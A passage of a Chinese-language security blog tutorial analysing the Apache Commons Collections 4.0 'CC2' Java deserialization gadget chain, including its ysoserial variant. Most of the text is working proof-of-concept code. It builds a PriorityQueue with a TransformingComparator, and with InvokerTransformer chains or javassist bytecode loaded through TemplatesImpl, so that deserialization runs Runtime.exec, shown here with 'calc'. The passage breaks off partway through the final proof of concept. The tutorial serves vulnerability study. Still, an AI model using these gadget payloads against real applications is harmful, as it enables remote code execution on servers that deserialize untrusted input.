java安全-CC2链学习与分析
2022-11-29 14:36:59

0x00、前言

针对CC链的分析,主要还是以逆向思维为主(从结果分析过程),从中尽可能学习出问题的地方在哪,哪里调用的这个带问题的地方,一步步思考。
这次的学习顺序是先PriorityQueue优先级队列——>CC2链学习分析——>javassist字节码增强类——>ClassLoader#defineClass定义类——>TemplatesImpl模板转换——>cc2-yso链学习与分析

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(要求java8以上)
Commons Collections:4.0(漏洞版本)(在3版本中TransformingComparator类未实现序列化接口所以不存在该利用链,4版本才实现)
javassist:3.20.0-GA
maven项目pom.xml文件中添加依赖

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、利用链基础前提

javassist字节码增强类

Java 字节码以二进制的形式存储在 class 文件中,每一个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。

引用官网的描述:
Javassist(Java编程助手)使Java字节码操作变得简单。它是一个用于在Java中编辑字节码的类库;它使Java程序能够在运行时定义一个新类,并在JVM加载时修改类文件。与其他类似的字节码编辑器不同,Javassist提供了两级API:源代码级和字节码级。如果用户使用源代码级API,他们可以在不知道Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇表设计。您甚至可以以源文本的形式指定插入的字节码;Javassist实时编译。另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件。

由于java运行通常由java文件编译成class文件供jvm运行,更改代码内容需要重新编写java文件再编译成class文件运行。
Javassist作用就是动态修改.class文件内容,且不需要知道jvm相关指令调用,javassist的引用能更简单快速的修改class文件的内容。

实现的效果有点类似反射的调用方式,不过一个是更改字节文件,反射是调用类,目的不同。

涉及的类

ClassPool

ClassPool:
基于哈希表(Hashtable)实现的CtClass对象容器,其中键是类名称, 值是表示该类的CtClass对象,同HashMap实现的Map接口,但不同于哈希表(Hashtable)的键名不能为null。
常用方法:

常用方法 描述
getDefault() 返回默认的类池(默认的类池搜索系统搜索路径,通常包括平台库、扩展库以及由-classpath选项或CLASSPATH环境变量指定的搜索路径)
insertClassPath(java.lang.String pathname) 在搜索路径的开头插入目录或jar(或zip)文件
insertClassPath(ClassPath cp) 在搜索路径的开头插入类对象,当用户系统存在多个类加载器,默认加载getDefault()搜索不到加载类可使用该方法添加路径
getClassLoader() 获得类加载器
get(java.lang.String classname) 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用
getOrNull(java.lang.String classname) 从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用,未找到该文件返回null,不抛出异常
appendClassPath(ClassPath cp) 将ClassPath对象附加到搜索路径的末尾
makeClass(java.lang.String classname) 创建一个新的public类

实现方式:

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();
}

CtClass

CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得。
常用方法:

常用方法 描述
setSuperclass(CtClass clazz) 添加父类
setInterfaces 添加父类接口
toClass(java.lang.invoke.MethodHandles.Lookup lookup) 将此类转换为java.lang.Class对象
toBytecode() 将该类转换为类文件,对象类型为byte[]
writeFile() 将由此CtClass 对象表示的类文件写入当前目录
writeFile(java.lang.String directoryName) 将由此CtClass 对象表示的类文件写入本地磁盘
makeClassInitializer() 制作一个空的类初始化程序(静态构造函数),对象类型为CtConstructor
detach 将CtClass对象从ClassPool池中删除
freeze 冻结一个类,使其变为不可修改状态
isfreeze 判断该类是否存于冻结状态
prune 删除类不必要的属性,减少内存占用
deforst 解冻一个类,使其变为可修改状态
addField 添加字段
addMethod 添加方法
addConstructor 添加构造器
addInterface 添加接口

实现方式:

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法 效果相同
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();

//获取类Exp
CtClass ct=pool2.get("cc2.People");
//创建新类Exp2
CtClass ct2=pool.makeClass("cc2.People2");
//创建新方法
ct.addMethod("show")
}

CtMethods

表示类中的方法

常用方法 描述
insertBefore 在方法起始位置插入代码
insterAfter 在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到exception
insertAt 在指定位置插入代码
setBody 将方法的内容设置为要写入的代码,当方法被 abstract修饰时,该修饰符被移除
make 创建一个方法
addParameter 添加参数
setName 设置方法名

注:插入的代码必须是完整的代码语句,包括分号结束语。

实现方法:

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();

//获取类Exp
CtClass ct=pool2.get("cc2.People");
//创建新类Exp2
CtClass ct2=pool2.makeClass("cc2.People2");

//对类的方法进行操作
CtMethod ctm=ct.getDeclaredMethod("getName");
ctm.insertBefore("System.out.println(\"使用javassist对getName方法插入了代码\");");
}

CtConstructor

表示类中的构造函数
实现方法:

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();

//获取类Exp
CtClass ct=pool2.get("Exp");
//创建新类Exp2
CtClass ct2=pool.makeClass("Exp2");

//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("System.out.println(\"使用javassist调用了构造方法\");");
}

生成字节码toBytecode()

生成字节码:CtClass.toBytecode()

//生成字节码
byte[] bt=ct.toBytecode();
//输出字节码
String str=Arrays.toString(bt);
System.out.print(str);

生成对象toClass()

反射调用对象:CtClass.toClass()

//通过反射调用对象
Class cla=ct.toClass();
//实例化对象
Object o=cla.newInstance();

简单实现demo

实例类:

public class People {
private String name;
private String addr;

public void setName(String name){
this.name=name;
}
public void setAddr(String addr){
this.addr=addr;
}
public String getName(){
return name;
}
public String getAddr(){
return addr;
}

}

实现类:

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();

//获取类Exp
CtClass ct=pool2.get("cc2.People");
//创建新类Exp2
CtClass ct2=pool2.makeClass("cc2.People2");

//对类的方法进行操作
CtMethod ctm=ct.getDeclaredMethod("getName");
ctm.insertBefore("System.out.println(\"使用javassist对getName方法插入了代码\");");

//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("System.out.println(\"使用javassist调用了构造方法\");");
ct.defrost();
ct.writeFile("People2");
}

实现更改字节码效果:

触发恶意代码效果demo:
通过向构造函数插入执行代码,通过反射调用CtClass对象并转换为反射类对象,进行实例化的时候调用构造函数触发恶意代码。

public static void main(String[] args) throws Exception {
//两种ClassPool创建方法
ClassPool pool=new ClassPool(true);
ClassPool pool2=ClassPool.getDefault();

//获取类Exp
CtClass ct=pool2.get("cc2.People");
//创建新类Exp2
CtClass ct2=pool2.makeClass("cc2.People2");

//对类的方法进行操作
CtMethod ctm=ct.getDeclaredMethod("getName");
ctm.insertBefore("System.out.println(\"使用javassist对getName方法插入了代码\");");

//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//ct.writeFile("People2");

//通过反射调用对象
Class cla=ct.toClass();
//实例化对象
Object o=cla.newInstance();

}

PriorityQueue优先级队列

PriorityQueue类在Java1.5中引入。PriorityQueue是基于优先堆的一个无界队列,这个优先队列中的元素可以默认自然排序或者通过提供的Comparator(比较器)在队列实例化的时排序。要求使用Java Comparable和Comparator接口给对象排序,并且在排序时会按照优先级处理其中的元素。

顾名思义,它是队列的一种实现方式,但不同于普通队列Queue(先进先出),它可通过比较器Comparator实现数据之间谁排在前面谁排在后面(上沉该元素)。

PriorityQueue队列常用方法:

  • add():添加数组元素,添加失败会抛出异常。
  • offer():添加数组元素,添加失败会返回false。
  • poll():取出队顶数组元素,并删除该元素,失败会抛出异常。
  • peek():查询队顶数组元素,但不删除该元素。
  • remove(): 取出队顶数组元素,并删除该元素,失败会返回null。

PriorityQueue队列实现用法:

  • PriorityQueue queue=new PriorityQueue<>(); //默认优先级队列,规则从小到大
  • PriorityQueue queue=new PriorityQueue<>( (a,b)->(b-a)); //设置比较器,从大到小排列

实现方法:

public static void main(String[] args) throws Exception {
//默认优先级队列
PriorityQueue<Integer> pq=new PriorityQueue<>();
//设置了比较规则的优先级队列
PriorityQueue<Integer> pq2=new PriorityQueue<>( (a,b)->(b-a));

pq.add(3);
pq.add(1);
pq.add(5);
//默认优先级队列输出,默认从小到大
System.out.print("默认优先级队列输出:");
for(int i=1;i<4;i++){
System.out.print(pq.poll());
}
System.out.println("");

pq2.add(3);
pq2.add(1);
pq2.add(5);
//默认优先级队列输出
System.out.print("设置比较器优先级队列输出:");
for(int i=1;i<4;i++){
System.out.print(pq2.poll());
}
}

自定义使用方法:

  • 类实现了Comparable接口,定义了比较方法,直接使用即可PriorityQueue<类名> queue=new PriorityQueue<>();
  • 当传递对象元素未实现Comparable接口,可自定义新Comparable
    PriorityQueue<People> pq=new PriorityQueue<>(new Comparator<People>() {
    @Override
    public int compare(People o1, People o2) {
    ////判断数值从大到小,如果第一个元素数值比第二个大,返回1标识顺序正确,否则返回-1
    return o1.getAge()-o2.getAge()>0?-1:1;
    }
    });

其中进行判断的比较器参数o1,o2,其中o1表示新插入的元素,o2表示被比较的元素也就是插入的前面一个元素。其中最后return 1表示当前比较的两个元素顺序正确,-1表示顺序不正确,不正确后将新插入的元素进行上沉操作(也就是向前排),然后循环比较上沉后的前面一个元素,继续判断直到顺序正确。

简单实现效果:

public static void main(String[] args) throws Exception {
PriorityQueue<People> pq=new PriorityQueue<>(new Comparator<People>() {
@Override
public int compare(People o1, People o2) {
return o1.getAge()-o2.getAge()>0?-1:1; //判断数值从大到小,如果第一个元素数值比第二个大,返回1标识顺序正确,否则返回-1
}
});
System.out.println("默认添加顺序:");
People people1=new People("小痴",2);
People people2=new People("小笨",26);
People people3=new People("小臭",25);

System.out.println("经过比较器后的顺序:");
pq.add(people1);
pq.add(people2);
pq.add(people3);
for(int i=1;i<4;i++){
System.out.println(pq.poll().show());
}
}

ClassLoader#defineClass

ClassLoader为类加载器,可以将字节码文件(.class文件),通过loadClass函数加载类名,返回一个Class对象,同时ClassLoader类下面存在defineClass方法,可以将byte[]字节数组信息还原成一个Class对象,在学javassist中,了解到javassist可以动态生成字节码文件,包括了一些恶意代码文件,可进而通过ClassLoader类加载器将这些恶意的字节码文件转化为java类进行调用,达到执行恶意代码的目的

其中类加载阶段:

ClassLoader#loadClass(类加载,从类缓或父加载器等位置寻找类)
——> ClassLoader#findClass(寻找类,通过URL制定的方式加载字节码)
——> ClassLoader#defineClass(定义类,通过获取的字节码转换成类对象)

由于ClassLoader#defineClass方法为protect修饰,因此可通过反射进行调用

简单实现

public static void main(String[] args) throws Exception {

ClassPool pool2=ClassPool.getDefault();

//创建新类Exp2
CtClass ct=pool2.makeClass("People2");

//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//ct.writeFile("./");

//生成字节码
byte[] bt=ct.toBytecode();

//通过反射调用ClassLoader#defineClass
Method define=ClassLoader.class.getDeclaredMethod("defineClass", String.class ,byte[].class, int.class, int.class);
define.setAccessible(true);
Class cla=(Class)define.invoke(ClassLoader.getSystemClassLoader(),"People2",bt,0,bt.length);
cla.newInstance();
}

TemplatesImpl

TemplatesImpl这个类简述功能就是对xsl格式文件生成的字节码转换成XSLTC模板对象,期间会处理字节码,因此重写了defineClass方法,具体描述可查看TemplatesImpl了解

重写了defineClass方法,并且没有定义域,可以在其他类进行调用使用,而ClassLoader#defineClass定义域是受保护的,在很多情况中调用受限,因此这也是TransletClassLoader#defineClass作为很多序列化漏洞入口,而不是使用ClassLoader#defineClass

但该defineClass()的调用并不会实例化,需要通过newInstance()进行实例化。

依次看调用情况

defineTransletClasses()

defineClassdefineTransletClasses方法中被调用

其中需要的满足条件:

  1. _bytecodes不能为空,为空会直接抛出异常

    if (_bytecodes == null) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
    throw new TransformerConfigurationException(err.toString());
    }
  2. _tfactory需要实例化
    创建的TransletClassLoader(Translet类的加载器)对象,其中_tfactory.getExternalExtensionsMap()中的_tfactory对象为TransformerFactoryImpl类对象,等同于调用TransformerFactoryImpl.getExternalExtensionsMap()方法,但其中_tfactory对象初始赋值为null,直接执行会报错,因此需要将_tfactory进行实例化,才能调用TransformerFactoryImpl.getExternalExtensionsMap()方法。

    TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
    }
    });

    两种实现方法都可以实例化,第一种通过TransformerFactoryImpl()构造方法实现实例化对象,第二种通过反射直接实现实例化对象。

    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
  3. 父类需要为ABSTRACT_TRANSLET
    通过for循环对字节文件类进行循环定义并赋值给class数组,其中会判断当前获取的字节类的父类是否为ABSTRACT_TRANSLET类,是的话会讲该类序号赋值给_transletIndex,否则不是的话会抛出异常(表意为只有存在父类为ABSTRACT_TRANSLET类的translet类才能被实例化),从而在getTransletInstance类中的AbstractTranslet实例化步骤将父类为ABSTRACT_TRANSLET的类进行实例化

    for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
    }
  4. _bytecodes字节码需要设置为byte[][]数组,_bytecodes变量声明为byte[][]类型,如果直接通过javassist toBytecode()生成byte[]数组运行会报错。


    因此需要将一维数组转化为二维数组。

    byte[] bytecode=ct.toBytecode();
    byte[][] bytecodes=new byte[][]{bytecode};

接着查看defineTransletClasses方法的上层调用情况
其中有三处对该方法进行了调用,其中只用getTransletInstance方法有上层调用,其他两个方法没有被其他方法进行调用。

getTransletInstance()

其中需要的满足条件:

  1. _name不能为空,为空会直接返回null

    if (_name == null) return null;
  2. _class必须为空,才能调用defineTransletClasses方法

    if (_class == null) defineTransletClasses();

最后通过创建AbstractTranslet对象将class文件类进行实例化

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

接着查看getTransletInstance方法的上层调用情况

newTransformer()方法进行了调用

newTransformer()

在调用构造函数的时候调用了getTransletInstance方法,返回Translet类的实例,其中没有需要的满足条件。

接着查看newTransformer()方法的上层调用情况

其中有5处显示进行了调用,但只有getOutputProperties方法调用的本类的newTransformer()方法,其他四种都是调用的其他类重写的newTransformer()方法。

getOutputProperties()

该方法直接执行了newTransforme方法,没有其他条件限制,查询getOutputProperties的上层调用,没有在本类发现其调用,因此最后的执行方法就在getOutputProperties

完整链

newTransformer方法执行就能达到触发了,他上层getOutputProperties方法也进行了调用,也可以算进去当作延伸出来的链。

getOutputProperties()
newTransformer()
getTransletInstance()
defineTransletClasses()
defineClass()

实现demo

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化,效果等同于new TransformerFactoryImpl()
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
//执行newTransformer()方法
templates.newTransformer();
//执行getOutputProperties(),getOutputProperties为newTransformer上层调用,执行效果相同,就是多了个执行步骤
templates.getOutputProperties();
}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

其中的空指针的报错原因是在赋值传递变量时没有指向对象,然后在调用时直接通过该变量去调用对应的方法导致报错,但不影响执行效果。

0x04、CC2利用链分析

逆推调用链

分析CC1链的时候知道目的是调用InvokerTransformer.transform()方法,CC2链的后半段利用链跟CC1链相同,那就从不同的地方接着分析。
在搜寻InvokerTransformer.transform()方法的时候,CC2链中TransformingComparator.compare()方法对其进行了调用。

但该方法在cc1链中也调用了为啥不行,因为在Commons Collections4版本中TransformingComparator类实现了序列化接口,而CC1链中依赖Commons Collections3版本,3版本中TransformingComparator类未实现序列化接口,因此入口不成立。

Commons Collections4版本中TransformingComparator类实现了序列化接口。

其中由构造函数传入transformer对象可控

简单实现demo:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
//调用TransformingComparator执行compare方法。
TransformingComparator cp=new TransformingComparator(transformerChain, null);
//随便传入2个参数比较,只为调用.transform()方法
cp.compare(1,2);
}

接下来看在哪调用了compare()方法
有很多类都进行了调用,其中cc2链中的调用为PriorityQueue

PriorityQueue类中siftUpUsingComparatorsiftDownUsingComparator两个方法都进行了调用,再分别查看这两个方法在哪进行了调用。

siftUpUsingComparator:
先是在同类的siftUp方法中进行了调用

offerremoveAt这两个方法调用了

追溯调用offerremoveAt者两个方法,发现这两个方法被调用的情况有很多,直观上也没有找到对应的入口,就先看另外一个方法

siftDownUsingComparator:
siftDownUsingComparator方法在siftDown方法中被调用

继续向上,siftDown方法有三个方法进行了调用,其中heapify方法在反序列化readObject方法中调用


正向分析调用链

找到了反序列化入口,开始分析下调用情况

通过注释也不难明白,通过for循环读取序列化数据存在队列中,最后进行堆排序heapify()
堆排列中通过循环数组长度(size),获取每个元素并执行siftDown方法,其中的长度验证可以调试查看是否为数组长度


为数组长度接下来进行堆排序heapify()

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

其中来理解size >>> 1, >>>为无符号右移,将size的值转换成二进制并将二进制数值整体向右移动>>>后面数字的位数
比如这里size为3,二进制为0000…0000 0011 (整数类型有32位的长度,为了方便省略中间重复的0),>>> 1无符号右移1位
对应的二进制为0000…0000 0001,即10进制为1。此时size大小为1。

所以当size小于2时,for循环中i的值就为0-1=-1,直接跳出循环,不会执行siftDown方法,设计意义也是为了有2个及以上的队列元素才进行排序操作。
因此满足此条件,必须给queue队列添加2个及以上元素,才能执行siftDown方法。

接下来到siftDown方法

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

首先会判断是否存在comparator比较器,比较器存在就调用siftDownUsingComparator方法,不存在比较器就调用siftDownComparable方法,按逆推调用链的话就必须存在比较器,才能去调用siftDownUsingComparator方法
最后在siftDownUsingComparator方法中调用比较器的compare方法

其中针对PriorityQueue类中的各个方法源码含义
可查看相关方法注解:https://www.cnblogs.com/freeorange/p/11405227.html

完整利用链

在cc1后半段基础上补充cc2的利用链,就形成完整利用链

ObjectInputStream.readObject()
-PriorityQueue.readObject()
-PriorityQueue.heapify()
-PriorityQueue.siftDown()
-PriorityQueue.siftDownUsingComparator()
-TransformingComparator.compare()
-ChainedTransformer.transform()
-ConstantTransformer.transform()
-InvokerTransformer.transform()
-Method.invoke()
-Class.getMethod()
-InvokerTransformer.transform()
-Method.invoke()
-Runtime.getRuntime()
-InvokerTransformer.transform()
-Method.invoke()
-Runtime.exec()

POC构造

利用链后半段用的cc1的后半段,可直接拿过来

Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

然后创建比较器,为了调用TransformingComparatorcomare方法

TransformingComparator cp=new TransformingComparator(transformerChain);

比较器创建好了,再创建PriorityQueue队列,引入上面的TransformingComparator比较器,这里有两种利用方式

//方法一:直接new PriorityQueue对象时候添加构造器
PriorityQueue pq=new PriorityQueue(2,cp);

//方式二:通过反射设置比较器执行
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(pq,cp);

然后给PriorityQueue队列添加元素,分析过程的时候提到队列数组size大小必须大于等于2,所以这里添加元素最少要添加2个,才能触发利用链的方法

pq.add(1);
pq.add(2);

最后序列化PriorityQueue对象,再反序列化触发漏洞。

最后POC:

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
//获取Runtime类对象
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,获取Runtime类的getRuntime方法,返回Runtime.getRuntime()方法,此时并未执行该方法,因此并未实例化
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//反射调用invoke方法,执行Runtime.getRuntime()方法,实现Runtime对象的实例化并返回Runtime对象
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//反射调用exec方法,并执行该方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator cp=new TransformingComparator(transformerChain);

//方法一:直接new PriorityQueue对象时候添加构造器,该方法调试会抛出异常
PriorityQueue pq=new PriorityQueue(2,cp);
pq.add(1);
pq.add(2);

//方式二:通过反射设置比较器执行
//PriorityQueue pq=new PriorityQueue(2);
//pq.add(1);
//pq.add(2);
//Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//field.setAccessible(true);
//field.set(pq,cp);

try{
//序列化PriorityQueue对象
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("test.ser"));
out.writeObject(pq);
//反序列化触发漏洞
ObjectInputStream os=new ObjectInputStream(new FileInputStream("test.ser"));
os.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

执行实现

运行报错原因:

这里提示有报错,原因是添加的元素无法通过指定的比较器进行比较,从而抛出的异常(添加的元素为数字,比较器为ChainedTransformer对象,两者没有关联关系,自然无法通过该比较器对数值进行比较),但利用链能全部调用,达到执行的效果。

调试报错原因:

在调试过程中发现,第一种方式无法进行反序列化步骤的调试,调试会直接抛出异常,因为在声明PriorityQueue对象时先传递入比较器,在添加元素时,会自动引入比较器进行比较,因为无法比较,所以编译文件时直接抛出异常,无法进行调试。
而第二种是先声明PriorityQueue对象,添加元素 再通过反射去调用设置比较器,因此可以调试到反序列化的步骤,到最后再进行比较的时候出错再抛出异常。
(引用反射的知识,动态调用在用到该反射的时候出错才会抛出异常,而普通用法会在编译的时候会直接调用出错就抛出异常)

0x05、CC2-yso利用链分析

分析简述

在yso利用链中,并没有使用上文cc2链分析的方法,加入了javassistTemplatesImpl,通过javassist生成恶意字节码,再通过TemplatesImpl加载字节码返回类对象并实例化,通过上文基础知识对TemplatesImpl的了解,重点就在找到一个方法可以调用getOutputProperties()或者newTransformer()方法,去执行恶意代码。

到这也只有正向分析poc来查找调用关系

yso链的主要利用就是通过PriorityQueue优先级队列设置比较器,将InvokerTransformer(String methodName)方法作为比较器传递入PriorityQueue队列,其中在InvokerTransformer(String methodName)构造函数中传递newTransformer()方法作为参数。

构造POC

主体部分,javassist生成字节码,然后TemplatesImpl填充对应满足条件,可以直接先把上文中TemplatesImpl基础知识的实现demo搬过来

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons=ct.makeClassInitializer();
//向构造函数插入字节码
cons.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());
}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

下一步,主体构造有了,但是需要有入口能调用TemplatesImpl对象的newTransformer()方法

通过InvokerTransformer(String methodName)方法调用newTransformer()方法或者getOutputProperties()方法都行

//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons=Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名
InvokerTransformer invokerTransformer=(InvokerTransformer) cons.newInstance("getOutputProperties");

getOutputProperties()方法名传递进invokerTransformer对象了,接下来就是跟CC2链分析的调用情况一样,设置比较器,将invokerTransformer作为比较器赋值给TransformingComparator对象

//设置比较器,目的调用compare方法,再通过,执行getOutputProperties方法
TransformingComparator comparator=new TransformingComparator(invokerTransformer);

比较器有了,现在创建PriorityQueue队列,通过反射设置size大小以及比较器,由CC2分析的时候知道调用compare方法是关键,因为跟上文的cc2调用情况不一样,上文调用了ChainedTransformer类把恶意代码执行串起来了,因此队列add进去的参数无所谓

但这个cc2-yso调用是先设置InvokerTransformer(String methodName)构造函数传递入getOutputProperties方法,最后再通过compare传递入TemplatesImpl对象来调用,相当于执行InvokerTransformer.transform(TemplatesImpl),最后执行效果为TemplatesImpl.getOutputProperties()达到目的

//设置比较器,目的调用compare方法去执行invokerTransformer.transform(),执行getOutputProperties方法
TransformingComparator comparator=new TransformingComparator(invokerTransformer);
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",comparator);
//设置传递的队列元素
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);

结合以上得到最后的poc:

public static void main(String[] args) throws Exception {
//通过反射调用InvokerTransformer的带参构造方法,参数为执行的方法名,因此传递类型为String.class
Constructor cons=Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
//突破限制,强制调用
cons.setAccessible(true);
//生成InvokerTransformer对象,引用构造函数,参数为getOutputProperties方法名,也可以为newTransformer方法名
InvokerTransformer invokerTransformer=(InvokerTransformer) cons.newInstance("getOutputProperties");

